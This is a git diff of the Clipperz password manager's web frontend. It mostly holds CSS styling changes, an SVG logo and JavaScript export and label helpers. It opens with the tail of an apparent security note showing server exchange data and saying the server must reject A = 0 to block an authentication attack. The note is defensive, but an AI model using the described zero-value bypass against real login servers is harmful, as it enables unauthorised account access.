					         "date":"Tue, 06 May 2014 02:16:36 UTC",
 | 
				
			||||||
 | 
					         "country":"SE",
 | 
				
			||||||
 | 
					         "ip":"83.248.183.26"}},
 | 
				
			||||||
 | 
					   "connectionId":
 | 
				
			||||||
 | 
					   "35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
 | 
				
			||||||
 | 
					   "lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
 | 
				
			||||||
 | 
					   "offlineCopyNeeded":true,
 | 
				
			||||||
 | 
					   "M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
 | 
				
			||||||
 | 
					   "toll":
 | 
				
			||||||
 | 
					   {"targetValue":
 | 
				
			||||||
 | 
					     "2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
 | 
				
			||||||
 | 
					     "requestType":"MESSAGE",
 | 
				
			||||||
 | 
					     "cost":2}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					To mitigate the issue sufficiently, the server needs to verify that A
 | 
				
			||||||
 | 
					cannot be 0 so the attack cannot be carried out.
 | 
				
			||||||
@@ -465,6 +465,21 @@ div.overlay {
 | 
				
			|||||||
      -ms-animation-delay: -0.0833s;
 | 
					      -ms-animation-delay: -0.0833s;
 | 
				
			||||||
      -o-animation-delay: -0.0833s;
 | 
					      -o-animation-delay: -0.0833s;
 | 
				
			||||||
      animation-delay: -0.0833s; }
 | 
					      animation-delay: -0.0833s; }
 | 
				
			||||||
 | 
					  div.overlay .progressBar {
 | 
				
			||||||
 | 
					    width: 100%;
 | 
				
			||||||
 | 
					    background-color: #222;
 | 
				
			||||||
 | 
					    height: 4px;
 | 
				
			||||||
 | 
					    margin-top: 86px;
 | 
				
			||||||
 | 
					    -webkit-border-radius: 2px;
 | 
				
			||||||
 | 
					    -moz-border-radius: 2px;
 | 
				
			||||||
 | 
					    border-radius: 2px; }
 | 
				
			||||||
 | 
					    div.overlay .progressBar .progress {
 | 
				
			||||||
 | 
					      background-color: #999;
 | 
				
			||||||
 | 
					      height: 4px;
 | 
				
			||||||
 | 
					      display: block;
 | 
				
			||||||
 | 
					      -webkit-border-radius: 2px;
 | 
				
			||||||
 | 
					      -moz-border-radius: 2px;
 | 
				
			||||||
 | 
					      border-radius: 2px; }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@-webkit-keyframes overlay-spin {
 | 
					@-webkit-keyframes overlay-spin {
 | 
				
			||||||
  from {
 | 
					  from {
 | 
				
			||||||
@@ -835,7 +850,8 @@ html {
 | 
				
			|||||||
      -moz-flex: auto;
 | 
					      -moz-flex: auto;
 | 
				
			||||||
      -ms-flex: auto;
 | 
					      -ms-flex: auto;
 | 
				
			||||||
      flex: auto;
 | 
					      flex: auto;
 | 
				
			||||||
      overflow: auto; }
 | 
					      overflow: auto;
 | 
				
			||||||
 | 
					      -webkit-overflow-scrolling: touch; }
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureIndex footer {
 | 
					    #extraFeaturesPanel .extraFeatureIndex footer {
 | 
				
			||||||
      -webkit-box-flex: none;
 | 
					      -webkit-box-flex: none;
 | 
				
			||||||
      -webkit-flex: none;
 | 
					      -webkit-flex: none;
 | 
				
			||||||
@@ -853,6 +869,12 @@ html {
 | 
				
			|||||||
    width: 100%;
 | 
					    width: 100%;
 | 
				
			||||||
    height: 100%;
 | 
					    height: 100%;
 | 
				
			||||||
    background-color: black; }
 | 
					    background-color: black; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature {
 | 
				
			||||||
 | 
					      height: 100%; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature .content {
 | 
				
			||||||
 | 
					        height: 100%;
 | 
				
			||||||
 | 
					        overflow: auto;
 | 
				
			||||||
 | 
					        -webkit-overflow-scrolling: touch; }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.container {
 | 
					.container {
 | 
				
			||||||
  height: 100%;
 | 
					  height: 100%;
 | 
				
			||||||
@@ -1206,7 +1228,7 @@ div.dialogBox {
 | 
				
			|||||||
    z-index: 10;
 | 
					    z-index: 10;
 | 
				
			||||||
    background-color: rgba(0, 0, 0, 0.5); }
 | 
					    background-color: rgba(0, 0, 0, 0.5); }
 | 
				
			||||||
  div.dialogBox .mask {
 | 
					  div.dialogBox .mask {
 | 
				
			||||||
    z-index: 12; }
 | 
					    z-index: 25; }
 | 
				
			||||||
  div.dialogBox div.dialog {
 | 
					  div.dialogBox div.dialog {
 | 
				
			||||||
    -webkit-box-flex: none;
 | 
					    -webkit-box-flex: none;
 | 
				
			||||||
    -webkit-flex: none;
 | 
					    -webkit-flex: none;
 | 
				
			||||||
@@ -1346,7 +1368,7 @@ div.dialogBox {
 | 
				
			|||||||
      margin: 0px; }
 | 
					      margin: 0px; }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#loginPage {
 | 
					#loginPage {
 | 
				
			||||||
  overflow: scroll;
 | 
					  overflow: auto;
 | 
				
			||||||
  -webkit-overflow-scrolling: touch; }
 | 
					  -webkit-overflow-scrolling: touch; }
 | 
				
			||||||
  #loginPage div.loginForm {
 | 
					  #loginPage div.loginForm {
 | 
				
			||||||
    display: -webkit-box;
 | 
					    display: -webkit-box;
 | 
				
			||||||
@@ -1983,20 +2005,24 @@ span.count {
 | 
				
			|||||||
    border-top: 1px solid white; }
 | 
					    border-top: 1px solid white; }
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureIndex > div > ul > li {
 | 
					    #extraFeaturesPanel .extraFeatureIndex > div > ul > li {
 | 
				
			||||||
      border-bottom: 1px solid white; }
 | 
					      border-bottom: 1px solid white; }
 | 
				
			||||||
      #extraFeaturesPanel .extraFeatureIndex > div > ul > li > ul {
 | 
					      #extraFeaturesPanel .extraFeatureIndex > div > ul > li > h1 {
 | 
				
			||||||
        padding-left: 10px; }
 | 
					        cursor: pointer;
 | 
				
			||||||
 | 
					        font-size: 16pt;
 | 
				
			||||||
 | 
					        padding: 10px; }
 | 
				
			||||||
      #extraFeaturesPanel .extraFeatureIndex > div > ul > li.closed > ul {
 | 
					      #extraFeaturesPanel .extraFeatureIndex > div > ul > li.closed > ul {
 | 
				
			||||||
        display: none;
 | 
					        display: none;
 | 
				
			||||||
        visibility: hidden; }
 | 
					        visibility: hidden; }
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li {
 | 
					    #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li {
 | 
				
			||||||
      padding: 10px;
 | 
					      padding: 10px;
 | 
				
			||||||
      padding-right: 0px; }
 | 
					      padding-left: 20px;
 | 
				
			||||||
 | 
					      padding-right: 0px;
 | 
				
			||||||
 | 
					      cursor: pointer; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.selected {
 | 
				
			||||||
 | 
					        background-color: #333; }
 | 
				
			||||||
      #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li > div {
 | 
					      #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li > div {
 | 
				
			||||||
        padding: 4px; }
 | 
					        padding: 4px; }
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureIndex > div ul li h1 {
 | 
					      #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.offlineCopy {
 | 
				
			||||||
      cursor: pointer;
 | 
					        cursor: default; }
 | 
				
			||||||
      font-size: 16pt;
 | 
					 | 
				
			||||||
      padding: 10px; }
 | 
					 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureIndex > div ul li h2 {
 | 
					    #extraFeaturesPanel .extraFeatureIndex > div ul li h2 {
 | 
				
			||||||
      font-weight: 300;
 | 
					      font-weight: 300;
 | 
				
			||||||
      font-size: 14pt; }
 | 
					      font-size: 14pt; }
 | 
				
			||||||
@@ -2037,51 +2063,169 @@ span.count {
 | 
				
			|||||||
#extraFeaturesPanel .extraFeatureContent {
 | 
					#extraFeaturesPanel .extraFeatureContent {
 | 
				
			||||||
  border-right: 1px solid #222;
 | 
					  border-right: 1px solid #222;
 | 
				
			||||||
  color: white;
 | 
					  color: white;
 | 
				
			||||||
  /* IMPORT */
 | 
					  /*
 | 
				
			||||||
  /* /IMPORT */ }
 | 
					  		.changePassphraseForm {
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent header {
 | 
					  			label {
 | 
				
			||||||
    display: none; }
 | 
					  				display: block;
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent .changePassphraseForm label {
 | 
					  			}
 | 
				
			||||||
    display: block; }
 | 
					  			
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent .changePassphraseForm input {
 | 
					  			input {
 | 
				
			||||||
    display: block; }
 | 
					  				display: block;
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent .deleteAccountForm {
 | 
					  			}
 | 
				
			||||||
    margin-top: 1em; }
 | 
					  		}
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureContent .deleteAccountForm label {
 | 
					  		
 | 
				
			||||||
      display: block; }
 | 
					  		.deleteAccountForm {
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureContent .deleteAccountForm input {
 | 
					  			margin-top: 1em;
 | 
				
			||||||
 | 
					  		
 | 
				
			||||||
 | 
					  			label {
 | 
				
			||||||
 | 
					  				display: block;
 | 
				
			||||||
 | 
					  			}
 | 
				
			||||||
 | 
					  			
 | 
				
			||||||
 | 
					  			input {
 | 
				
			||||||
  				display: inline-block;
 | 
					  				display: inline-block;
 | 
				
			||||||
  				margin-right: 1em;
 | 
					  				margin-right: 1em;
 | 
				
			||||||
      margin-bottom: 1em; }
 | 
					  				margin-bottom: 1em;
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureContent .deleteAccountForm .confirmCheckbox {
 | 
					  			}
 | 
				
			||||||
      display: inline-block; }
 | 
					  			
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent .importForm textarea {
 | 
					  			.confirmCheckbox {
 | 
				
			||||||
 | 
					  				display: inline-block;
 | 
				
			||||||
 | 
					  			}
 | 
				
			||||||
 | 
					  		}
 | 
				
			||||||
 | 
					  */ }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent header {
 | 
				
			||||||
 | 
					    display: none; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .extraFeature {
 | 
				
			||||||
 | 
					    padding: 20px; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature h1 {
 | 
				
			||||||
 | 
					      font-size: 20pt;
 | 
				
			||||||
 | 
					      padding-bottom: 20px; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature form label {
 | 
				
			||||||
 | 
					      display: none; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature form input {
 | 
				
			||||||
      display: block;
 | 
					      display: block;
 | 
				
			||||||
 | 
					      font-size: 18pt;
 | 
				
			||||||
 | 
					      margin-bottom: 8px;
 | 
				
			||||||
 | 
					      padding: 6px 10px;
 | 
				
			||||||
 | 
					      border: 0px solid white;
 | 
				
			||||||
 | 
					      width: 350px;
 | 
				
			||||||
 | 
					      color: black; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature form input.invalid {
 | 
				
			||||||
 | 
					        border: 0px solid #ff9900;
 | 
				
			||||||
 | 
					        color: gray; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature form p {
 | 
				
			||||||
 | 
					      display: -webkit-box;
 | 
				
			||||||
 | 
					      display: -webkit-flex;
 | 
				
			||||||
 | 
					      display: -moz-flex;
 | 
				
			||||||
 | 
					      display: -ms-flexbox;
 | 
				
			||||||
 | 
					      display: flex;
 | 
				
			||||||
 | 
					      -webkit-box-direction: normal;
 | 
				
			||||||
 | 
					      -webkit-box-orient: horizontal;
 | 
				
			||||||
 | 
					      -webkit-flex-direction: row;
 | 
				
			||||||
 | 
					      -moz-flex-direction: row;
 | 
				
			||||||
 | 
					      -ms-flex-direction: row;
 | 
				
			||||||
 | 
					      flex-direction: row; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature form p input {
 | 
				
			||||||
 | 
					        width: 30px;
 | 
				
			||||||
 | 
					        -webkit-box-flex: auto;
 | 
				
			||||||
 | 
					        -webkit-flex: auto;
 | 
				
			||||||
 | 
					        -moz-box-flex: auto;
 | 
				
			||||||
 | 
					        -moz-flex: auto;
 | 
				
			||||||
 | 
					        -ms-flex: auto;
 | 
				
			||||||
 | 
					        flex: auto; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature form p span {
 | 
				
			||||||
 | 
					        -webkit-box-flex: auto;
 | 
				
			||||||
 | 
					        -webkit-flex: auto;
 | 
				
			||||||
 | 
					        -moz-box-flex: auto;
 | 
				
			||||||
 | 
					        -moz-flex: auto;
 | 
				
			||||||
 | 
					        -ms-flex: auto;
 | 
				
			||||||
 | 
					        flex: auto;
 | 
				
			||||||
 | 
					        font-size: 12pt; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature form button {
 | 
				
			||||||
 | 
					      font-family: "clipperz-font";
 | 
				
			||||||
 | 
					      color: white;
 | 
				
			||||||
 | 
					      font-size: 14pt;
 | 
				
			||||||
 | 
					      border: 0px;
 | 
				
			||||||
 | 
					      margin-top: 20px;
 | 
				
			||||||
 | 
					      padding: 6px 10px;
 | 
				
			||||||
 | 
					      border: 1px solid white;
 | 
				
			||||||
 | 
					      background-color: #ff9900;
 | 
				
			||||||
 | 
					      -webkit-transition: background-color font-weight 0.2s linear;
 | 
				
			||||||
 | 
					      -moz-transition: background-color font-weight 0.2s linear;
 | 
				
			||||||
 | 
					      -o-transition: background-color font-weight 0.2s linear;
 | 
				
			||||||
 | 
					      -ms-transition: background-color font-weight 0.2s linear;
 | 
				
			||||||
 | 
					      transition: background-color font-weight 0.2s linear; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature form button:disabled {
 | 
				
			||||||
 | 
					        font-weight: 100;
 | 
				
			||||||
 | 
					        background-color: #c0c0c0;
 | 
				
			||||||
 | 
					        cursor: default; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature ul {
 | 
				
			||||||
 | 
					      color: white; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature ul li {
 | 
				
			||||||
 | 
					        padding-bottom: 40px; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature h3 {
 | 
				
			||||||
 | 
					      font-size: 18pt; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature .description {
 | 
				
			||||||
 | 
					      max-width: 500px;
 | 
				
			||||||
 | 
					      padding: 10px 0px 20px 0px; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature .description p {
 | 
				
			||||||
 | 
					        font-size: 10pt;
 | 
				
			||||||
 | 
					        margin-bottom: 7px;
 | 
				
			||||||
 | 
					        line-height: 1.4em;
 | 
				
			||||||
 | 
					        color: #bbb; }
 | 
				
			||||||
 | 
					        #extraFeaturesPanel .extraFeatureContent .extraFeature .description p em {
 | 
				
			||||||
 | 
					          text-decoration: underline; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .extraFeature .button {
 | 
				
			||||||
 | 
					      display: inline-block;
 | 
				
			||||||
 | 
					      color: white;
 | 
				
			||||||
 | 
					      background-color: #ff9900;
 | 
				
			||||||
 | 
					      font-size: 14pt;
 | 
				
			||||||
 | 
					      border: 1px solid white;
 | 
				
			||||||
 | 
					      padding: 6px 10px; }
 | 
				
			||||||
 | 
					      #extraFeaturesPanel .extraFeatureContent .extraFeature .button.disabled {
 | 
				
			||||||
 | 
					        background-color: #c0c0c0;
 | 
				
			||||||
 | 
					        cursor: default; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li {
 | 
				
			||||||
 | 
					    display: inline-block;
 | 
				
			||||||
 | 
					    margin-right: 1em; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.disabled {
 | 
				
			||||||
 | 
					      color: gray; }
 | 
				
			||||||
 | 
					    #extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.active {
 | 
				
			||||||
 | 
					      text-decoration: underline; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .dataImport .error {
 | 
				
			||||||
 | 
					    margin: 1em 0; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .dataImport textarea {
 | 
				
			||||||
    width: 100%;
 | 
					    width: 100%;
 | 
				
			||||||
    min-height: 400px; }
 | 
					    min-height: 400px;
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent .jsonPreview {
 | 
					    display: block;
 | 
				
			||||||
 | 
					    margin: 1em 0;
 | 
				
			||||||
 | 
					    border: 0; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .dataImport .csvTable {
 | 
				
			||||||
 | 
					    background: white;
 | 
				
			||||||
 | 
					    margin: 1em 0; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .dataImport .dropArea {
 | 
				
			||||||
 | 
					    margin: 1em 0;
 | 
				
			||||||
 | 
					    width: calc(100% - 6px);
 | 
				
			||||||
 | 
					    text-align: center;
 | 
				
			||||||
 | 
					    height: inherit;
 | 
				
			||||||
 | 
					    line-height: 3em;
 | 
				
			||||||
 | 
					    border: 3px dashed white;
 | 
				
			||||||
 | 
					    background: black; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .dataImport .button {
 | 
				
			||||||
 | 
					    margin-right: 1em; }
 | 
				
			||||||
 | 
					  #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview {
 | 
				
			||||||
    width: 100%;
 | 
					    width: 100%;
 | 
				
			||||||
    height: 80%;
 | 
					    height: 80%;
 | 
				
			||||||
    overflow: auto;
 | 
					    overflow: auto;
 | 
				
			||||||
    margin-top: 1em; }
 | 
					    margin-top: 1em; }
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureContent .jsonPreview h3 {
 | 
					    #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview h3 {
 | 
				
			||||||
      font-weight: bold; }
 | 
					      font-weight: bold; }
 | 
				
			||||||
    #extraFeaturesPanel .extraFeatureContent .jsonPreview ul {
 | 
					    #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul {
 | 
				
			||||||
      margin-bottom: 1em;
 | 
					      margin-bottom: 1em;
 | 
				
			||||||
      padding-left: 1em; }
 | 
					      padding-left: 1em; }
 | 
				
			||||||
      #extraFeaturesPanel .extraFeatureContent .jsonPreview ul li .label {
 | 
					      #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul li .label {
 | 
				
			||||||
        font-weight: bold; }
 | 
					        font-weight: bold; }
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent form input.valid + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.empty + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input:focus + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.invalid:focus + .invalidMsg {
 | 
					  #extraFeaturesPanel .extraFeatureContent form input.valid + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.empty + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input:focus + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.invalid:focus + .invalidMsg {
 | 
				
			||||||
    visibility: hidden; }
 | 
					    visibility: hidden; }
 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent form input:focus {
 | 
					 | 
				
			||||||
    border: 2px solid #ff9900; }
 | 
					 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent form input.valid:focus {
 | 
					 | 
				
			||||||
    border: 2px solid #1863a1; }
 | 
					 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent form input.invalid + .invalidMsg {
 | 
					 | 
				
			||||||
    visibility: visible; }
 | 
					 | 
				
			||||||
  #extraFeaturesPanel .extraFeatureContent form .invalidMsg::before {
 | 
					 | 
				
			||||||
    font-family: serif;
 | 
					 | 
				
			||||||
    content: "\26A0 \0000a0"; }
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
.mainPage.narrow #extraFeaturesPanel .extraFeatureContent header {
 | 
					.mainPage.narrow #extraFeaturesPanel .extraFeatureContent header {
 | 
				
			||||||
  display: block;
 | 
					  display: block;
 | 
				
			||||||
@@ -2191,7 +2335,7 @@ div.cardList ul {
 | 
				
			|||||||
      padding-right: 8px; }
 | 
					      padding-right: 8px; }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
div.cardList.narrow {
 | 
					div.cardList.narrow {
 | 
				
			||||||
  overflow: scroll;
 | 
					  overflow: auto;
 | 
				
			||||||
  -webkit-overflow-scrolling: touch; }
 | 
					  -webkit-overflow-scrolling: touch; }
 | 
				
			||||||
  div.cardList.narrow.loadingCard li.selected:after {
 | 
					  div.cardList.narrow.loadingCard li.selected:after {
 | 
				
			||||||
    color: white;
 | 
					    color: white;
 | 
				
			||||||
@@ -2598,12 +2742,16 @@ div.dialog {
 | 
				
			|||||||
  -webkit-border-radius: 8px;
 | 
					  -webkit-border-radius: 8px;
 | 
				
			||||||
  -moz-border-radius: 8px;
 | 
					  -moz-border-radius: 8px;
 | 
				
			||||||
  border-radius: 8px;
 | 
					  border-radius: 8px;
 | 
				
			||||||
 | 
					  max-width: 70%;
 | 
				
			||||||
  background-color: white;
 | 
					  background-color: white;
 | 
				
			||||||
  padding: 30px; }
 | 
					  padding: 30px;
 | 
				
			||||||
 | 
					  box-shadow: 4px 4px 6px 5px rgba(0, 0, 0, 0.3); }
 | 
				
			||||||
  div.dialog h3.message {
 | 
					  div.dialog h3.message {
 | 
				
			||||||
    font-size: 18pt;
 | 
					    font-size: 18pt;
 | 
				
			||||||
    font-weight: bold;
 | 
					    font-weight: bold;
 | 
				
			||||||
    padding-bottom: 20px; }
 | 
					    padding-bottom: 20px;
 | 
				
			||||||
 | 
					    white-space: pre-wrap;
 | 
				
			||||||
 | 
					    word-wrap: break-word; }
 | 
				
			||||||
  div.dialog div.answers div.button {
 | 
					  div.dialog div.answers div.button {
 | 
				
			||||||
    -webkit-border-radius: 4;
 | 
					    -webkit-border-radius: 4;
 | 
				
			||||||
    -moz-border-radius: 4;
 | 
					    -moz-border-radius: 4;
 | 
				
			||||||
 
 | 
				
			|||||||
										
											
												File diff suppressed because one or more lines are too long
											
										
									
								
							
							
								
								
									
										6
									
								
								frontend/delta/fonts/icons/logo.svg
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										6
									
								
								frontend/delta/fonts/icons/logo.svg
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,6 @@
 | 
				
			|||||||
 | 
					<?xml version="1.0" encoding="UTF-8" standalone="no"?>
 | 
				
			||||||
 | 
					<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" clip-rule="evenodd" stroke-miterlimit="10" viewBox="440.19 329.29 76.14 72.20">
 | 
				
			||||||
 | 
					    <desc>SVG generated by Lineform</desc>
 | 
				
			||||||
 | 
					    <defs/>
 | 
				
			||||||
 | 
					    <path d="M 487.26 353.66 L 487.26 329.79 L 468.36 329.79 L 468.36 353.66 L 447.21 345.11 L 440.83 363.30 L 462.69 370.67 L 448.72 389.20 L 464.55 400.78 L 477.58 381.06 L 491.92 400.78 L 507.51 389.20 L 493.17 370.67 L 515.69 363.12 L 509.31 344.93 Z M 526.25 492.82 " fill-rule="non-zero" fill="#000000" stroke="#000000" stroke-width="0.25"/>
 | 
				
			||||||
 | 
					</svg>
 | 
				
			||||||
| 
		 After Width: | Height: | Size: 627 B  | 
@@ -85,6 +85,7 @@ Clipperz_normalizedNewLine = '\x0d\x0a';
 | 
				
			|||||||
	</div>
 | 
						</div>
 | 
				
			||||||
	<span class="icon done"   style="display:none">done</span>
 | 
						<span class="icon done"   style="display:none">done</span>
 | 
				
			||||||
	<span class="icon failed" style="display:none">failed</span>
 | 
						<span class="icon failed" style="display:none">failed</span>
 | 
				
			||||||
 | 
						<span class="progressBar" style="display:none"><span class="progress"></span></span>
 | 
				
			||||||
	<span class="title">loading</span>
 | 
						<span class="title">loading</span>
 | 
				
			||||||
	<div class="mask hidden"></div>
 | 
						<div class="mask hidden"></div>
 | 
				
			||||||
</div>
 | 
					</div>
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -233,6 +233,8 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.DirectLogin, Object, {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	'serializedData': function () {
 | 
						'serializedData': function () {
 | 
				
			||||||
		return Clipperz.Async.collectResults("DirectLogin.serializedData", {
 | 
							return Clipperz.Async.collectResults("DirectLogin.serializedData", {
 | 
				
			||||||
 | 
								'favicon': MochiKit.Base.method(this,'favicon'),
 | 
				
			||||||
 | 
								'label': MochiKit.Base.method(this,'label'),
 | 
				
			||||||
			'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'),
 | 
								'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'),
 | 
				
			||||||
			'formData': MochiKit.Base.method(this, 'getValue', 'formData'),
 | 
								'formData': MochiKit.Base.method(this, 'getValue', 'formData'),
 | 
				
			||||||
			'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'),
 | 
								'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'),
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -316,6 +316,36 @@ console.log("Record.Version.hasPendingChanges");
 | 
				
			|||||||
* /
 | 
					* /
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
*/
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						// TODO: this function may mix up the order of the fields
 | 
				
			||||||
 | 
						'exportFields': function() {
 | 
				
			||||||
 | 
							var deferredResult;
 | 
				
			||||||
 | 
							var fields;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							deferredResult = new Clipperz.Async.Deferred('Record.Version.export', {trace:false});
 | 
				
			||||||
 | 
							deferredResult.addMethod(this,'fields');
 | 
				
			||||||
 | 
							deferredResult.addCallback(MochiKit.Base.values);
 | 
				
			||||||
 | 
							deferredResult.addCallback(MochiKit.Base.map, function(fieldIn) {
 | 
				
			||||||
 | 
								return fieldIn.content();
 | 
				
			||||||
 | 
							});
 | 
				
			||||||
 | 
							deferredResult.addCallback(Clipperz.Async.collectAll);
 | 
				
			||||||
 | 
							deferredResult.addCallback(function(listIn) {
 | 
				
			||||||
 | 
					//			return listIn.reduce(function(result, field) {
 | 
				
			||||||
 | 
								return MochiKit.Iter.reduce(function(result, field) {
 | 
				
			||||||
 | 
									var ref = field.reference;
 | 
				
			||||||
 | 
									result[ref] = field;
 | 
				
			||||||
 | 
									delete result[ref].reference;
 | 
				
			||||||
 | 
									return result;
 | 
				
			||||||
 | 
								}, listIn, {});
 | 
				
			||||||
 | 
							});
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							deferredResult.callback();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return deferredResult;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	//=========================================================================
 | 
						//=========================================================================
 | 
				
			||||||
	__syntaxFix__: "syntax fix"
 | 
						__syntaxFix__: "syntax fix"
 | 
				
			||||||
});
 | 
					});
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -45,9 +45,7 @@ Clipperz.PM.DataModel.Record = function(args) {
 | 
				
			|||||||
	this._createNewDirectLoginFunction			= args.createNewDirectLoginFunction			|| null;
 | 
						this._createNewDirectLoginFunction			= args.createNewDirectLoginFunction			|| null;
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	this._tags = [];
 | 
						this._tags = [];
 | 
				
			||||||
 | 
					 | 
				
			||||||
	this._directLogins = {};
 | 
						this._directLogins = {};
 | 
				
			||||||
 | 
					 | 
				
			||||||
	this._versions = {};
 | 
						this._versions = {};
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	this._currentRecordVersion = null;
 | 
						this._currentRecordVersion = null;
 | 
				
			||||||
@@ -163,16 +161,20 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	//............................................................................
 | 
						//............................................................................
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	'tagRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
 | 
						'extractLabelFromFullLabel': function (aValue) {
 | 
				
			||||||
	'trimSpacesRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
 | 
							return Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aValue);
 | 
				
			||||||
	'filterOutTags': function (aValue) { return Clipperz.PM.DataModel.Record.filterOutTags(aValue); },
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'extractTagsFromFullLabel': function (aLabel) {
 | 
				
			||||||
 | 
							return Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aLabel);
 | 
				
			||||||
 | 
						},
 | 
				
